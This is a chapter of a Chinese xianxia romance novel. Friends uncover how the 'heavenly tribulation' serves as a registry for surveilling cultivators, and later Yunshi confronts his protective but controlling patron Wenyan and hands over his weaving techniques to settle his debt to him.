他嘴角扯出一个苦涩到极点的弧度:“这正常吗?一句话而已。‘天劫可能是个骗局’——哪怕这句话惊世骇俗,哪怕它触及禁忌,按照常理,最多是封口、审查、关押、甚至废去修为。但当时师尊的反应,是近乎本能的、最高级别的清除指令。仿佛那句话不是一句话,而是一把已经出鞘、正在滴血的刀。” 流衍的声音开始微微发颤,不是害怕,而是某种压抑已久的激动:“我后来反复想,越想越觉得……如果这件事的逻辑真的‘说得通’,那么唯一的解释就是——那句话本身,根本就不是一句话。它是一种……武器。” 雅间内一片寂静,只有流衍略显急促的呼吸声。纸鸢放下了手中的茶杯,予也收起了散漫的表情,云实更是屏住了呼吸,紧紧盯着流衍。 天蕴的瞳孔微微收缩,她没有立刻反驳,而是缓缓点了点头,沉声道:“……我也注意到了。这个追杀的力度和理由,与‘危害’的常规判定严重不符。流衍,你后来……还发现什么了?和你的修为停滞有关?” 流衍深吸一口气,仿佛下定了决心:“实不相瞒,我修为迟迟无法突破,心魔日益深重,除了伤势和苏妄的影响,这件事本身……就是最大的心魔。我一直在想,为什么?为什么一句话能有如此威力?我后来暗中调查,甚至……偷偷下山,一方面是担心云实,想确认他的安危;另一方面,也是想观察这个‘体系’对这类‘异端言论’的真实反应。” 他的目光变得锐利起来:“然后我注意到了温言。他对云实的态度,太奇怪了。一个位高权重、前途无量的朝廷监察使,不惜冒巨大风险,将一个被天衡宗明令通缉、身怀异数、且说出了那种禁忌之言的人,藏在家中,悉心庇护,甚至考虑纳入羽翼。这绝不仅仅是惜才或……感情用事。” 他看向云实,眼中带着疼惜和无奈:“云实,温言看重的,或许不止是你这个人,或者你的技艺。他很可能看重的,正是你‘说出过那句话’这个事实本身,以及你因此而具备的……某种‘象征意义’和‘杀伤潜力’。这只能说明一个问题——” 流衍一字一顿,声音虽轻,却如同惊雷:“‘天劫是骗局’这句话,在这个体系里,不是观点,不是猜测,而是一件已经被验证过的、能对现有秩序造成实质伤害的违禁品。它本身,就是武器。谁持有它,谁传播它,谁就是持械的危险分子。而温言……他想掌控这件武器。” 天蕴沉默了很久,指节轻轻敲着桌面。终于,她开口,语气带着一种洞悉内情的疲惫和冰冷:“流衍,你的推测……很大胆,但方向没错。关于‘天劫’和‘录入’,有些事情,在宗门最高层,是半公开的秘密。”她顿了顿,似乎在权衡哪些能说,“所有正统途径觉醒灵根、踏入修行的人,从测灵那一刻起,其灵根属性、大致潜力、乃至后续的关键突破节点,都会被纳入一个庞大的、由皇室和几大顶级宗门共同维护的‘灵枢谱录’系统。你可以把它理解为一个……修行界的户籍兼监控档案。‘天劫’,是这个系统最重要的‘认证’和‘录入’环节。渡过天劫,意味着你正式被系统‘记录在案’,成为体系内被认可、可追踪、受规则约束同时也享受规则保护的一员。” 她看向云实:“云实测出杂灵根,虽然微弱,但确实被录入了。所以,在系统内,他一开始就被标记为潜力低下者,甚至可以说,在修仙这条路上,他已经被系统预判了结局。但他之后遇到苏妄,被植入人造内丹——这件事本身,如果上报,云实的身份会被更新为体系外非法技术受害者。” 天蕴的语气变得复杂起来:“但问题出在后面。云实在大自在天居留超过三个月,并与苏妄……关系密切。这在系统的判定逻辑里,性质就变了。长期停留于被列为高危异端区域的大自在天,并与其首脑人物有密切接触,受害者的身份会被极大削弱,转而倾向于判定为受异端影响者或潜在皈依者。而之后,云实与你,流衍,单独会面——” 她目光扫过流衍和云实:“一个是天衡宗前内门精英,一个是与大自在天关系暧昧的异数,你们两个派系立场近乎水火的人的私下接触,本身就足以触发监控系统的警报。至于云实说出骗局等字眼被捕捉到……” 天蕴苦笑了一下:“有两种可能。一是你们当时所处的环境,恰好有高灵敏度的谛听类阵法或法器在监控特定关键词——这类东西在某些区域是常备的,尤其是涉及重要人物或敏感地点时。二是苏妄给了云实什么具有特殊传导或记录功能的信物,无意间将声音传了出去。我事后调阅过相关卷宗,没有发现第二种情况的记录,所以,大概率是第一种——你们被谛听扫到了。而扫描到这类绝对禁忌词汇,警报会直接提到最高级别。” 纸鸢忍不住插话,声音带着寒意:“所以,就因为一句话,在那种语境下被听到,云实就被定性为……” “恶意传播危害管理体系根本稳定的异端言论。”天蕴接话,语气冰冷,“而且是以大自在天亲信或受影响者的身份进行传播。这个性质,在灵枢谱录系统的判定规则里,属于最高级别的危害行为之一。理论上,听到这句话的你,流衍,应该被立刻控制,进行记忆审查和认知矫正。而云实……应该被即刻清除,以绝后患。” 她看向流衍,眼中闪过一丝复杂的情绪:“我们师尊……霁雪仙尊,当时签发了缉拿令,理由是非法突破、动摇根基,这已经是某种程度上……从轻的表态了。他没有立刻启动对云实的即刻清除程序,也没有对你采取强制措施,而是给了缉拿审查的缓冲。这或许……是他能做的,最大限度的不忍心。” 流衍的身体剧烈地颤抖起来,脸色惨白如纸。云实更是如坠冰窟,他终于彻底明白,自己当初离形神俱灭,只有一步之遥。不是因为他做了什么,仅仅是因为他被苏妄牵连,然后在错误的时间、错误的地点,说了一句被系统判定为武器的话。 予喃喃道:“所以……骗局这个词……本身是真的有毒的?” 天蕴沉默了片刻,这一次,她的沉默格外漫长而沉重。她环视在场四人,眼神前所未有地严肃,甚至带着一丝悲凉。 “接下来的话,”天蕴的声音压得极低,仿佛怕惊扰了什么无形的存在,“我本不该说,也不能说。但你们是我的朋友,是此刻我可以信任的人。我接下来说的每一个字,你们听过之后,必须烂在肚子里,永远不要再提起,甚至……尽量不要再去深想。” 她深吸一口气,仿佛在汲取勇气:“四明宗总坛,历代掌门接任时,除了常规仪式,还有一项不为人知的、最高级别的密誓。我师尊飞升前匆匆传位,许多事来不及细说,这项密誓的内容和缘由,是我后来在只有掌门能进入的秘阁中,自己拼凑出来的。核心一点很清楚:‘关于天劫本质及灵枢谱录最高权限之秘,凡知晓其全貌之掌门,需立生死状,终身禁言。泄密者,身魂共殒,牵连九族。’” 雅间内的空气仿佛凝固了。生死状?终身禁言?身魂共殒?牵连九族?这些词语所代表的分量,让即便是最大胆的予,也感到一阵头皮发麻。 天蕴的脸色在灯光下显得有些透明,她继续用那种近乎气音的音量说道:“所以,我无法告诉你们那‘秘密’具体是什么。我只能说,流衍你关于‘概念武器’的推测……触及了边缘。‘天劫’这套东西,它维持的表面公平,对于稳定这个修士与凡人混杂、力量差距悬殊的庞大帝国而言,至关重要。它或许不完美,或许有……瑕疵,或许隐藏着令人不寒而栗的真相,但它目前,是维系一切不至于彻底崩盘的支柱。” 她看向云实,眼中充满了无力感:“云实,你问我为什么一句话就能招致追杀?现在我告诉你,因为你那句话,在系统逻辑和最高禁忌的交叉点上,点燃了导火索。你成了异端与正统敏感地带的一个活体爆点。追杀你,不是因为你个人的对错,而是因为你承载的信息状态和关联标签,对整个系统构成了直接被认定的、最高等级的威胁。你倒霉,是因为你恰好踩中了所有最致命的雷区:无关紧要的出身、与最高异端苏妄的深度关联、在敏感时期与正统弟子的禁忌接触、以及说出了那个绝对不可以被非授权者在非授权场合讨论的核心禁忌词汇。” “至于苏妄为什么没事?”天蕴扯了扯嘴角,“因为他从未被灵枢谱录真正录入和认可,他一直就在系统之外,是已知的漏洞。系统默认他的存在,并划定了大自在天作为隔离区。系统内的人以对抗大自在天为政治正确,一方面是真的忌惮他的力量和技术,另一方面,也是因为需要一个明确的敌人凝聚共识。苏妄本人对此心知肚明,他乐得逍遥,凭实力自保。而他说过的话,包括那些关于骗局的言论,因为出自他这个系统外异端之口,反而被系统视为已知噪音,不会触发最高警报。除非,这些言论通过某些渠道,开始‘感染’系统内的个体。” 她疲惫地揉了揉眉心:“云实,你不幸就成了那个倒霉蛋。苏妄可能是有意,也可能是无意,在你身上种下了种子,而你,在遇到流衍时,让这颗种子发了芽,说出了那句话。于是,警报响了。” 流衍像是被抽干了所有力气,瘫坐在椅子上,喃喃道:“所以……我的心魔,我对真相的执念,差点害死云实,也困死了我自己……我们……我们一直都在一个设定好的牢笼里挣扎,还以为自己在追寻自由……” 云实看向天蕴,问出了最后一个问题:“天蕴师姐,你告诉我们这些……已经是冒了巨大的风险。那个秘密,那个真相,你真的……一点都不能透露吗?哪怕一点点暗示?” 天蕴看着云实,又看看流衍、纸鸢和予,她的眼神无比复杂,有挣扎,有决绝,最终化为一片深潭般的平静。她极其缓慢,极其轻微地摇了摇头。 “我不能。”她的声音轻得几乎听不见,“不是不想,是不能。那个秘密……知道本身,就是一种诅咒。它关系到这个世界的起源,力量的终极来源,以及这套规则被创造出来的真正原因。我一旦开口,或许下一秒,我们所有人,连同与我们有关的一切,都会无声无息地消失。” 她顿了顿,用更轻、却更清晰的声音,留下了最后一句似是而非、却重逾千斤的话:“我只能说……相信你们现在所感受到的‘真实’,但也永远不要停止对‘为何如此’的追问。有些墙,不是用来撞破的,而是用来提醒你,边界之外,可能是深渊,也可能是星空。但首先,你得活下去,变得足够强,强到有资格……去看一眼。” 饭局到此,已无法再继续。所有的菜肴都已冰冷,酒也失去了味道。 许久,流衍才仿佛从冰冷的深渊中挣扎出一口气,他抬起头,眼神不再是之前的偏执或脆弱,而是一种沉淀了太多痛苦后的、近乎麻木的清醒。他声音沙哑,但条理清晰,将话题引向另一个同样困扰他许久的疑点。 “还有……之前的山魈案。”他顿了顿,看向天蕴,“我追查的时候,发现很多线索……不像是偶然。那些被篡改的官制驭兽环,流入的渠道,黑市匠师的接单规律……背后好像有一张网,甚至感觉……是有人在默许,或者至少是利用了这套漏洞。但每当我想深挖,就会被各种‘意外’卡住,线索中断,权限不足。” 他看向云实和纸鸢:“温言当时也说,上报后被‘古法传承纠纷’的理由搁置了。这理由太敷衍。我一直怀疑,这案子背后,牵扯的可能不只是某个贪官小吏。” 天蕴闻言,眉头紧蹙,手指在桌面无意识地划动,仿佛在梳理纷乱的思绪。她沉吟片刻,郑重道:“山魈案……我记下了。宗门卷宗里对此案的记录确实语焉不详,归档级别很高。我之前精力都在稳定内部,还没来得及细查。既然你提了,又牵扯到云实和温言……”她看向流衍,眼神坚定,“我会想办法去查。以我现在的身份,调阅一些加密卷宗,或者从其他渠道打听,总比你当初一个人暗中调查要方便些。但此事同样敏感,我不能保证一定有结果,也不能保证速度。但,我承诺,能查的,我一定尽力。” 云实立刻接口,语气带着一种共同承担的责任感:“天蕴师姐,我这边如果之后在温言那里,或者在其他地方,发现任何和山魈案、或者类似事件有关的蛛丝马迹,我也会想办法……不,是请予或者用安全的方式,告诉你们。” 他特意纠正了自己的说法,强调信息的共享和谨慎。 流衍点了点头,补充道:“不只是山魈案。我当时在周边几个州府暗中查访,发现零星还有几起‘官制法器非正常损毁或失灵’的事件,上报后都草草了结,理由五花八门。我感觉……不太对劲。好像有什么东西,在慢慢地、局部地侵蚀这些官制器物的可靠性。” 云实忽然想起什么,说道:“温言跟我提过一嘴,说山魈案后来定性为腐败案,那个始作俑者小吏想巴结上官,但好像……类似的、涉及官制法器出问题的腐败案,那段时间处理了好几起?受害者……或者说背后被揪出来的主谋,好像都指向同一人?就是那种有点小权、想走捷径、但又接触不到核心技术的边缘人物?” 天蕴眼中精光一闪,缓缓道:“没错。根据我这边能看到的不完全通报,那段时间,由四明宗牵头,联合四宗确实集中处理了一批类似的腐败案。表面看,是整顿吏治,清除蠹虫。但若按你们所说,这些案子背后都有官制法器被篡改或失效的影子,且都拿些无足轻重的小角色顶罪……” 她没说完,但意思不言而喻。这更像是一场有组织的、针对官制法器公信力的、隐蔽的测试或破坏,而真正的黑手藏在深处,用反腐的外衣擦去了痕迹。 这个话题让气氛再次变得凝重。纸鸢见状,拿起公筷,给每人碟子里都夹了些还没完全凉透的点心,语气轻快了些,试图打破压抑:“好了好了,这些打打杀杀、阴谋诡计的事情,一时半会儿也理不清。天蕴既然答应去查,咱们就耐心等消息。来说点开心的事,想想以后!” 她笑盈盈地看向云实:“云实,你之前不是说,等处理完京城那边的事,就回来吗?回来之后,总不能闲着吧?我可是把你那手织理技术当成潜力股了!怎么样,回来之后,先来我纸云坊挂个名?不让你干粗活,就帮我看看一些特殊的布料处理和定制订单,顺便咱们一起琢磨琢磨,怎么把你那些奇思妙想,变成能安稳落地的生意。工钱好说,最重要的是,有个正经由头落脚,我也好名正言顺地罩着你。” 云实感激地看了纸鸢一眼,但犹豫了一下,还是摇了摇头,有些不好意思地说:“纸鸢姐,谢谢你的好意。不过……我其实有个想法。”他看了一眼身旁静静听着的流衍,鼓起勇气道,“等师兄伤势稳定些,京城的事也了了……我想,在天衡宗附近,找个安静偏僻点的地方,自己盖个小房子。不用大,能住就行。最好……能离师兄疗养的地方近些。” 他的声音越来越低,但意思很清楚,他想和流衍有一个属于他们自己的、不受打扰的落脚处。 流衍闻言,身体几不可察地微微一震,垂着眼睫,没有看云实,但耳根却悄悄泛起一丝极淡的红晕,握着茶杯的手指,轻轻摩挲着杯壁。 纸鸢先是一愣,随即“噗嗤”一声笑了出来,眼神在云实和流衍之间打了个转,带着了然和促狭:“哦——想自己筑个窝啊?行啊,有想法!挺好!”她爽快地说,“不过盖房子可不是一天两天的事,还得找地皮,办手续。虽然天蕴在这儿,有些手续能简则简,但总得时间。这样,你们从京城回来之后,先别急着风餐露宿找地方。我在天衡宗山门外围的镇上,有一处小院子,原本是囤货用的,还算清净,家具也齐全。你们要是不嫌弃,可以先住那儿。离天衡宗近,天蕴照应方便,我来看你们也顺路。等你们安定下来,慢慢找地方、盖房子,怎么样?那院子就当我借给你们暂住的,不收钱!” 这个提议实在周到。云实眼睛一亮,看向流衍。流衍这才抬起眼,对上云实询问的目光,又看看纸鸢真诚的笑脸,终于轻轻点了点头,低声道:“……多谢纸鸢姑娘。叨扰了。” 天蕴也点了点头,脸上露出一丝如释重负的轻松:“这样安排最好。我原本也在想,若让你们直接回宗门安排的客舍,人多眼杂,流衍的情况不便暴露。纸鸢的院子独立安静,再合适不过。”她顿了顿,语气转为严肃的叮嘱,“不过,你们住下后,尽量深居简出。流衍需要静养,云实你……也算是个‘敏感人物’。日常用度,我会安排可靠的外门弟子秘密送去。若有急事,用我们约定的方式联系。记住,我现在坐在这个位置上,盯着我的眼睛很多。宗门之间的关系……眼下有些微妙,表面上风平浪静,私下里暗流不少。我虽为掌门,也不能公然徇私,给人留下把柄。你们行事,务必谨慎再谨慎。” “明白。” “知道了,师姐。” 云实和流衍同时应道。 予在一旁听着,终于忍不住插嘴,笑嘻嘻地说:“哎呀,这下好了,住的地方有了,靠山也有了,未来发财的路子也有了,连家属都安排好了。看来我这趟跑腿不亏,以后是不是也能跟着云实小哥混个技术顾问啥的?” 他这话冲淡了最后一丝凝重,纸鸢笑骂他没正经,天蕴也无奈摇头。云实有些不好意思地笑笑,流衍则干脆别过脸去,只当没听见。 又闲聊了几句日后的大致安排,确认了各种联络细节和备用方案,桌上的茶点也终于消耗殆尽。窗外,夜色已深,街上更夫敲梆的声音隐约传来。 “时候不早了。”天蕴站起身,“今日就到这里吧。大家回去路上小心。记住我说的话——今日所言,彼此心照,切莫再提。日后,凡事多思量,安全第一。” 纸鸢也起身结账,并熟练地跟掌柜寒暄了几句,掩饰了这次长谈的真正目的。五人分批悄然离开了悦来居,融入深深的夜色之中。 …… 温府后巷的青砖墙高耸而沉默,投下长长一片荫凉。云实没走正门,绕到惯常出入的侧边小角门,门虚掩着,像是知道他会来。推门进去,是那片熟悉的竹林小径,碎石路上落了薄薄一层竹叶,踩上去沙沙的,声音轻得几乎听不见。午后阳光被竹叶筛得细碎,在他身上、地上晃动着光斑。 他手指蜷了蜷,触到袖袋里一个硬硬的、边缘有些毛糙的小小突起——是温言给他的那个锦囊。布料不算顶好,但针脚细密得惊人,是温言自己缝的。竹溪小院的月亮门就在前面,藤萝的叶子有些蔫了,无精打采地垂挂着。他站住脚,没立刻进去。 工坊的门开着半扇。里面传来极轻微的、布料摩擦的窸窣声,还有剪刀搁在案上的脆响。是温言。他总是在这里,有时候是看书,有时候是处理些不紧要的文书,更多时候只是坐着,看他留下的那些半成品,或者摆弄那些丝线。云实知道,温言说这里清静,其实是因为这里有他的气味,有他留下的痕迹。 他吸了口气,那口气沉甸甸地压进肺里,带着竹叶的微腥和泥土的潮意。抬脚,迈过门槛。 温言背对着门,站在那张宽大的榉木案前,微微低着头,手里拿着一块云实之前染坏了的月白色绸子,指尖正沿着上面一团晕开的不甚均匀的靛蓝痕迹轻轻摩挲。他穿着家常的素色直裰,头发只用一根乌木簪子松松挽着,几缕碎发落在颈边。午后的光从侧面的高窗斜斜照进来,给他整个人勾勒出一圈毛茸茸的金边,连袖口衣褶的阴影都显得格外温柔。他听到脚步声,没立刻回头,只是那摩挲着布料的手指微微停顿了一下。 “回来了?” 云实没应声,喉咙里像堵了团浸了水的棉花。温言个人总是这样,好像天塌下来,他也能先给你倒杯茶,问问你路上累不累。 温言终于转过身。他上下仔细打量了云实一番,目光像是最轻柔的羽毛拂过,却又带着不容错辨的审视,掠过他略显疲惫的眼角,抿紧的嘴唇,最后落在他空荡荡的双手。 “瘦了点。”温言他放下手里的绸子,朝云实走过来,步履从容,“外头奔波,到底辛苦。怎么也不捎个信回来?我让人去接你,也免得你一路劳顿。” 云实肩膀几不可察地绷紧了一瞬,避开了那只手。动作很小,但温言的手悬在了半空,指尖微微蜷了一下,又缓缓收回,脸上那层无懈可击的温和笑意,终于出现了一丝极细微的裂纹。 空气凝滞了一瞬。工坊里只剩下窗外风吹竹叶的沙沙声,比刚才更响了一些。 温言收回手,背到身后,指尖在袖子里轻轻捻了捻。他脸上的笑容淡了些。 “怎么了?”他问,声音放得更轻,“路上……遇到不顺心的事了?还是流衍那边,情况不太好?” 云实抬起眼,终于对上了温言的视线。 “温言,”云实开口,声音有些干涩,他清了清嗓子,试图让声音稳下来,“我们得谈谈。” “谈什么?”温言眉梢微微一动,转身走到案几另一侧,提起小火炉上咕嘟着的铜壶,注入早已备好茶叶的盖碗。热水冲下去,茶香立刻氤氲开来,是云实以前说过喜欢的某种山间野茶的气息,清苦里带着回甘。他动作流畅,不急不缓地洗茶、冲泡,将那橙黄透亮的茶汤倒入一只素白瓷杯,推到云实面前,“先喝口茶,定定神。有什么话,慢慢说。” 那熟悉的茶香,那行云流水的动作……一切都是温言式的、周到得让人无处着力的体贴。往常云实会觉得熨帖,此刻却只觉得那茶香像一层无形的丝网,裹缠上来。 他没去碰那杯茶。 “我这次出去,想清楚了一些事。”云实说,目光落在茶杯上方袅袅升起的热气上,看着它们扭曲、消散,“关于我,关于……我们。” “我们?”温言自己也端起了杯子,却没喝,只是用杯盖轻轻撇着浮沫,发出极细微的瓷器碰撞声。他抬起眼,看向云实,眼神深邃,“我们怎么了?” “我觉得……”云实吸了口气,那口气像是从很深的地方提上来,带着铁锈的味道,“我觉得,我不能再这样待在温府了。” 撇着浮沫的手指停住了。温言看着云实,脸上那点残余的笑意终于彻底消失,只剩下一种全然的专注。 “不能再这样待在温府?”他重复了一遍,语速很慢,像是要仔细咀嚼这几个字的含义,“哪样?云实,你说清楚点。是府里谁给你委屈受了?还是住得不舒心?竹溪院太僻静了?你要是嫌闷,我们可以换一处,离我书房近些的疏影院就很好,敞亮,也热闹点。或者,你想出去走走?京郊有几处庄子,景致不错,也清净,你可以去住段时间,散散心……” “不是这些。不是院子,也不是委屈。是我自己……我不能再这样,被你……被温府,这样护着了。” 温言放下了茶杯,杯底碰在案几上,发出“嗒”的一声轻响。他双手交握,放在身前,身体微微前倾,这是一个更认真、也更带有压迫感的倾听姿态。 “护着?”他微微偏头,像是真的不解,“云实,我护着你,不好吗?外面是什么光景,你比我清楚。天衡宗的缉令悬在那里,像一把不知道什么时候会落下来的刀。朝廷里,研备司那些人看似客气,背地里多少双眼睛盯着你身上的织理手艺,想挖出点别的东西?更不用说那些藏在暗处、对苏妄留下来的任何线索都感兴趣的魑魅魍魉。你告诉我,不护着你,难道放你出去,让他们把你生吞活剥了?” “我知道危险。”云实攥紧了拳头。 “我知道离开这里,我可能……可能活不了多久。这些我都知道,温言。可是……”他抬起头,眼眶有些发红,不是因为委屈,而是因为某种激烈冲突的情感,“可是你知道吗?待在这里,每天活在你给我划好的圈子里,活在你为我遮挡得严严实实的风雨之外,我有时候觉得……觉得自己像个废人。不,不是废人,是……是你养在精致笼子里的雀儿。你给了我最好的食水,最漂亮的笼子,把我保护得好好的,让我可以安心地梳理羽毛,唱你想听的调子。可这笼子再舒服,它也是笼子。” 他终于把憋在心底的话说了出来,声音在安静的工坊里显得有些刺耳。 温言静静地听着,脸上没有任何被冒犯的怒意,反而露出一种近乎悲哀的恍然,还有一种“果然如此”的了悟。他等云实说完,喘着气停下来,才缓缓开口,声音比刚才更低,更沉,带着一种不容置疑的、磐石般的稳定。 “所以,你是觉得我困住你了。”他说,不是疑问,是陈述,“觉得我给你的安稳,是牢笼。觉得我为你挡掉的那些明枪暗箭,是折了你的翅膀。云实,你看着我。” 云实看着他。 “你告诉我,”温言一字一句,说得极慢,极清晰,“如果没有我,你现在会在哪里?青石镇的布料铺子?或许早就被那些寻衅的修士拆了。白石坳?靠着你那些坳子布,在官府的盘查和同行的觊觎下挣扎求存,不知道哪一天就被人连皮带骨吞下去。还是说,跟着流衍,东躲西藏,像阴沟里的老鼠,连晒个太阳都要提心吊胆?”他摇了摇头,眼神里流露出真实的痛心,“那不是飞,云实。那是坠落,是自毁。你想要的自由,如果是那种朝不保夕、随时可能粉身碎骨的自由,那我告诉你,那不是自由,是愚蠢。” “是苦是甜……我都认了,不过一死罢了。我在你眼里,是什么?是奇巧玩意儿?还是……男宠?” 最后这句话,他说得艰难,带着连自己都不愿深究的、尖锐的怀疑。他看见温言的瞳孔猛地收缩了一下,那双总是波澜不惊的眼眸深处,终于掠过了一丝清晰的、被刺痛的神情。 “理由?”温言重复这个词,嘴角扯动了一下,像是想笑,又没笑出来,最终形成一个有些苦涩的弧度。 “云实,你觉得我对你好,费尽心思把你留在身边,护着你,替你筹谋,只是需要一个理由?” 他站起身,绕过案几,走到云实面前。距离很近,云实能闻到他身上清冽的檀香,能看清他眼底细微的血丝,和那下面翻涌的、复杂的情绪——有失望,有不解,有压抑的怒意,还有一种更深沉的、云实看不懂的东西。 “我若只是想利用你的织理,方法有很多。”温言的声音压得很低,像贴着耳廓擦过的风,“我可以把你交给研备司,让他们把你当个稀罕物件供起来研究,既能得朝廷赏识,又能彻底掌控你。我可以把你藏在更隐秘的地方,像对待一件真正的工具,只在你需要干活的时候才让你出来。我甚至可以……”他顿了顿,眼神暗了暗,“用更直接的手段,让你听话。云实,你觉得我做不到吗?” 云实的后背窜起一股凉意。他知道温言做得到。温言从来不是他表面上看起来那么温润无害。 “可我没有。”温言盯着他的眼睛,语气重了起来,带着某种宣泄般的力度,“我让你住最好的院子,给你最安静的环境,让你做你想做的一切。我把你介绍给父亲,让府里上下叫你少爷。我甚至……”他喉结滚动了一下,声音里泄出一丝罕见的、近乎脆弱的沙哑,“我甚至想过,等时机再成熟些,风头过去,就正式把你写进温家的族谱,给你一个堂堂正正的身份,让你再也不用担惊受怕,让你可以挺直腰杆,站在任何人面前。这些,在你眼里,只是困住你的笼子?” 他每说一句,就逼近一步。云实被他话语里那股沉甸甸的重量和压抑的情感逼得后退,脊背抵上了冰凉的墙壁,退无可退。温言的气息笼罩着他,那双总是含着笑意的眼睛里,此刻清晰地映出他的惶然和无措,还有底下深不见底的、几乎要将人溺毙的某种东西。 “我不是……”云实张了张嘴,想辩解,却发现喉咙发紧,声音微弱,“我没有说你对我不好的意思……温言,我知道你对我好,我真的知道……可是它让我难受,它让我觉得自己欠你的,永远也还不清!它让我觉得,我活着的每一口气,都是你施舍的!我做的每一点事情,都要先想想,会不会给你添麻烦,会不会辜负你的安排!我就像……就像一根藤,只能缠着你这棵树才能活,离了你,我就得枯死……” 他说到最后,声音已经哽咽,眼眶里的水汽再也蓄不住,滚落下来,烫得脸颊生疼。他讨厌这样哭,显得软弱,显得无理取闹。 温言看着他流泪,看着他因为激动和委屈而微微发抖的肩膀,眼中的怒意和凌厉渐渐被一种更复杂的情绪取代。那情绪里有心疼,有不舍,有深深的不赞同,还有一种“果然还是个孩子”的无奈。他伸出手,这次没有拂拭草屑,而是用指腹,极轻、极缓地擦去云实脸上的泪痕。动作温柔得不可思议,和他刚才那番带着压迫感的话语截然不同。 “傻话。”他低声说,语气软了下来,带着叹息,“谁说你是藤了?你若是藤,我温言这棵树,也太没眼光了些。”他指尖温热,触碰过的地方却像留下了细微的电流,“云实,你不是附庸,从来都不是。你是我……放在心上的人。正因为把你放在心上,我才不能眼睁睁看着你去撞南墙,看着你去走那条注定头破血流的路。”

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“我……”他发出一个单音,却不知道后面该接什么。 温言轻轻揉了揉云实的头发,像安抚一只闹别扭的猫儿。 “好了,别胡思乱想了。先去梳洗一下,换身衣服。我让厨房炖了汤,一直温着,是你喜欢的口味。有什么事,喝完汤,歇一歇,我们再慢慢说,嗯?” 他语气里的温柔和不容置疑,无缝衔接。仿佛刚才那番激烈的冲突,只是云实单方面的一场情绪宣泄,而他已经宽容地接纳,并准备好了抚平一切皱褶。 云实被那温柔的语气裹挟着,下意识地点了点头。身体比意识先一步做出了反应,那是长久以来养成的、对温言安排的顺从。 温言笑了笑。 “去吧。”他侧身让开。 云实脚步有些虚浮地挪动,走出工坊,走进那片细碎的竹影里。阳光依旧晃眼,可他却觉得浑身发冷。温言没有强硬地锁住他,没有疾言厉色地斥责他,他甚至表现得那么理解,那么包容。 回到那间精心布置、处处妥帖的卧房,温热的水已经备好,干净柔软的家常衣服叠放在熏笼上,散发着淡淡的、令人安心的阳光气息。一切都和他离开前一样,甚至更周到。 云实褪下那身浆洗得发硬的青布衣,把自己浸入温热的水中。水汽蒸腾上来,模糊了视线。他靠在桶沿,闭上眼,脑海中反复回响着温言最后那句话。 “你离不开这里的,云实。你也……离不开我。” 或许,温言是对的。 或许,他真的太自不量力了。 或许,能活成温言羽翼下一只被精心照料的雀儿,已是命运对他这个杂灵根、布料店儿子最大的仁慈。 可是……心底某个角落,那点不肯彻底熄灭的微小火苗,还在固执地、微弱地跳跃着,烫得他心口发疼。 他睁开眼,看着氤氲的水汽,看着水中自己模糊的倒影。 真的……只能这样了吗? 傍晚,云实躺在温言身边,锦被柔软,熏香宁神。温言的手很自然地搭过来,指尖落在他腰间,带着试探般的温存,意图再明显不过。云实几乎在他碰触的瞬间就缩了一下,喉咙发紧,干涩地挤出声音:“……别。今天……不太舒服。” 那只手顿住了。温言的呼吸似乎也停滞了一瞬,然后,那手收了回去,带着一种克制的、平缓的力道,只在他肩头轻轻按了按。 “嗯,那早点睡。” 黑暗里,云实睁着眼,听着身畔逐渐变得绵长的呼吸,心里那根弦却越绷越紧,几乎要发出不堪重负的呻吟。 第二天,温言回来得比平时都早。日头还没完全西斜,他就踏进了竹溪小院,手里还提着一包从东市老字号买来的、云实曾随口提过喜欢的松子糖。他神色如常,甚至比往常更温和些,细细问了云实身体如何,又说起朝中几件无伤大雅的趣事。他将松子糖仔细剥开油纸,拈出一颗递云实自己唇边。那琥珀色的糖块晶莹可爱,散发着甜腻的香气。他没接,也没张嘴,只是定定看着温言的眼睛。 “我有东西给你。” 他转身从枕下取出厚厚一叠装订好的纸册,纸是上好的宣纸,边角整齐,墨迹簇新,还带着一股熬夜赶工的、未散尽的焦躁气息。他递过去,指尖微微发白。 温言挑了挑眉,放下松子糖,接过来,并未立刻翻开。那纸册颇有些分量。 “这是什么?” “你一直想要的。”云实的声音很平静,平静得底下像结了冰,“织理之法。我能想到的,我能拆解明白的,从最初级的引导纹路排布原理,到几种复合纹路的叠加效应,再到不同属性材料处理与纹路适配的关键……还有十七种我认为最具代表性、也相对最容易复现的完整织纹图谱,都画在后面了。每一步的要点,可能出错的地方,我想到的,都写了。” 温言翻开了第一页。里面并非工整的馆阁体,而是云实自己那种带着点匠气的、却异常清晰坚定的字迹,间或夹杂着大量精细繁复的纹路草图,一笔一划,都是心血。他快速浏览了几页,眼神渐渐变了。这东西的价值,他比谁都清楚。这不仅仅是技艺,这是将一个野路子出身、凭借直觉和无数次失败摸索出的独门秘法,硬生生掰开揉碎,试图形成一套可供他人学习、复制的体系。尽管如云实所说,理论根基薄弱,更像一本详尽的工匠实录,但其诚意和彻底的程度,远超他预期。 “样品在这里。”云实又拿出几块巴掌大小的布料,边缘切割整齐,上面用不同颜色的丝线绣着或简或繁的纹路。“按册子里的方法做的,效果写在旁边。你可以找人验看。” 温言抬起眼,目光从纸册移到云实脸上,那眼神很深,翻涌着许多复杂难辨的东西。他合上册子,指尖在那粗糙的封面上轻轻敲了敲。 “花了多久?” “昨天,和今天白天。”云实答。 一天一夜。温言知道这意味着什么。这是榨干了所有心力,摒弃了一切杂念,近乎燃烧般的专注才能产出的东西。他沉默了片刻,才问:“为什么?” 云实看着他,一字一句,清晰地说道:“我想把欠你的,都还清。技术,点子,还有……你为我费的那些心。这里,”他指了指那册子,“是我能拿出来的、最值钱的东西了。现在,我是不是可以不欠你什么了?我们能不能……暂时放下谁保护谁、谁该听谁安排的问题,就像两个……平等的人,真正聊聊,心里到底是怎么想的?” 温言看着他眼中那点微弱却执拗的光火,心头像是被什么东西猛地撞了一下,有点闷疼,但随即,一种更沉重、更冰冷的现实感覆盖上来。他垂下眼,避开那目光,手指无意识地将那包松子糖的油纸边缘折起又抚平。 “云实,”他开口,声音依旧温和,却像隔了一层雾,“我们之间,从来就不存在欠与还的问题。我对你好,是我愿意。你把这些给我……”他掂了掂手中的册子,“我很高兴,真的。这说明你把我放在心上,信任我。”他抬起眼,试图重新捕捉云实的视线,语气变得更加柔软,带着劝哄,“至于聊聊……当然可以。只是你看,你熬了这么久,眼睛都是红的,先好好休息几天,缓过精神来,我们再慢慢说,好不好?日子还长。” 又是这样。云实的心一点点沉下去,那点孤注一掷燃起的光,在温言这潭深不见底、永远温和的水面前,迅速黯淡、冷却。 